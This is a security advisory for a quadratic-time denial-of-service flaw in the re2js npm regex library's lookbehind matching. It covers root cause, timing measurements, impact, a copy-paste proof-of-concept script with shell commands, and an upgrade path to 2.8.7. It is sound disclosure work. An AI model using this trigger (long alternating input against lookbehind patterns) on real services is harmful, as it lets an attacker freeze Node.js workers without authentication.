---
id: CVE-2026-116795
aliases:
  - GHSA-gg6h-894w-4m9c
title: 'RE2JS: Quadratic-time denial of service in re2js lookbehind matching'
summary: 'RE2JS: Quadratic-time denial of service in re2js lookbehind matching'
severity: high
cvss: 7.5
cwe:
  - CWE-407
  - CWE-1333
vendor: re2js
product: re2js
ecosystem: npm
affected:
  - 're2js >= 2.2.0, < 2.8.7'
patched:
  - re2js 2.8.7
published: '2026-10-28'
updated: '2026-10-28'
sourceUpdated: '2026-10-28T21:10:03Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-gg6h-894w-4m9c'
references:
  - url: 'https://github.com/le0pard/re2js/security/advisories/GHSA-gg6h-894w-4m9c'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-116795'
  - url: 'https://github.com/le0pard/re2js/pull/59'
  - url: >-
      https://github.com/le0pard/re2js/commit/dfdd947785dfa113bdc97416375c246a39458395
  - url: 'https://github.com/le0pard/re2js/releases/tag/2.8.7'
  - url: 'https://github.com/advisories/GHSA-gg6h-894w-4m9c'
tags:
  - ghsa
  - npm
  - cve.org
ingestedAt: '2026-10-28T18:15:46.399Z'
---

## Overview

### Summary

Using the opt-in `LOOKBEHINDS` flag together with any repeated-matching API
(`matcher().find()` in a loop, `matchAll()`, `split()`, `matcher().replaceAll()`)
causes quadratic-time (Θ(n²)) matching, contradicting the library's own
"linear time matching" guarantee. A single call with a 16,000-character input
takes **36.7–38.7 seconds of CPU**.

### Description

#### Root cause

In `build/index.cjs`, `Machine.match`:

```js
let currentPos = this.prog.numLb > 0 ? 0 : pos;   // ~line 1907
...
if (this.ncap === 0 && this.matched) break;        // ~line 1953
```

Any pattern containing a lookbehind sets `prog.numLb > 0`, which forces the
scan to **always restart at offset 0**, regardless of the requested start
position — the lookbehind automaton is re-seeded and the whole input is
re-walked on every single `find()` call. The early-exit optimization that
would otherwise stop at the first match only fires when `ncap === 0`, but
every `Matcher`-based API (`find`/`matchAll`/`split`/`replaceAll`) always
requests `ncap = 2` (one capture group slot) **even for a captureless
lookbehind pattern** — so the early exit never triggers through those APIs,
and the scan continues to the end of the input on every find.

A find-loop over *k* matches in an *n*-character string therefore costs
*k* × Θ(*n*); for dense matches *k* ∝ *n*, giving **Θ(n²)** total.

#### Isolating control

Identical find-loop, identical input sizes, same 2-character literal pattern
*shape* — but **without** the `LOOKBEHINDS` flag:

| n | with `LOOKBEHINDS` (lookbehind pattern) | without (plain literal) | native JS `RegExp` lookbehind |
|---|---|---|---|
| 2,000 | 204–228 ms | 3 ms | 0 ms |
| 4,000 | 877–899 ms | 4 ms | 0 ms |
| 8,000 | 5,746–6,599 ms | 7 ms | 1 ms |
| 16,000 | 36,667–38,732 ms | 6 ms | 1 ms |

This isolates the lookbehind machinery itself — not pattern length, not
match density in the abstract — as the exact and sole cause.

#### Impact

- `re2js`'s entire value proposition is being an RE2-style engine with
  **linear-time, no-backtracking** matching, specifically to resist
  algorithmic-complexity attacks that plague backtracking regex engines.
  This finding defeats that guarantee for any consumer using the advertised
  `LOOKBEHINDS` feature.
- Realistic affected code paths: log/text processing that tokenizes or
  redacts using a lookbehind-based pattern (`matchAll`, `split`,
  `replaceAll` are the natural APIs for exactly this), applied to
  attacker-influenced text (user input, uploaded logs, scraped content).
- A single ~16–32 KB request pins a CPU core for tens of seconds to minutes;
  Node.js being single-threaded, this freezes the whole worker process for
  the duration. No authentication or special pattern knowledge is required
  from the attacker — ordinary alternating text (`"abababab..."`) triggers it.

#### Reproduction (copy-paste runnable)

create file poc.js

```js
'use strict';
// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).
// Usage:
//   npm pack re2js@2.8.6 --ignore-scripts && tar -xzf re2js-2.8.6.tgz
//   node poc.js ./package
const path = require('path');
const pkgDir = process.argv[2] || './package';
const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));

const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS);

function timeFindLoop(n) {
  const s = 'ab'.repeat(n / 2);
  const t0 = Date.now();
  const m = re.matcher(s);
  let count = 0;
  while (m.find()) count++;
  return { ms: Date.now() - t0, count };
}

console.log('n, matches, ms');
const sizes = [2000, 4000, 8000, 16000];
const results = [];
for (const n of sizes) {
  const r = timeFindLoop(n);
  results.push(r.ms);
  console.log(`${n}, ${r.count}, ${r.ms}`);
}

const ratio = results[results.length - 1] / results[results.length - 2];
console.log('');
console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)');
console.log(ratio > 3 ? 'PASS  quadratic scaling confirmed on the REAL published package' : 'FAIL  scaling looks linear');
process.exit(ratio > 3 ? 0 : 1);
```

and run in terminal

```sh
npm pack re2js@2.8.6 --ignore-scripts
tar -xzf re2js-2.8.6.tgz
node poc.js ./package
```

`poc.js` times a `matcher(s).find()` loop over `(?<=a)b` +
`RE2JS.LOOKBEHINDS` on inputs of 2,000/4,000/8,000/16,000 chars and reports
the doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or
exceeding the 4× quadratic signature), reaching tens of seconds at 16,000
chars. Run twice; results are deterministic.

## Affected packages

- `re2js >= 2.2.0, < 2.8.7`

## Remediation

Upgrade to a patched release:

- `re2js 2.8.7`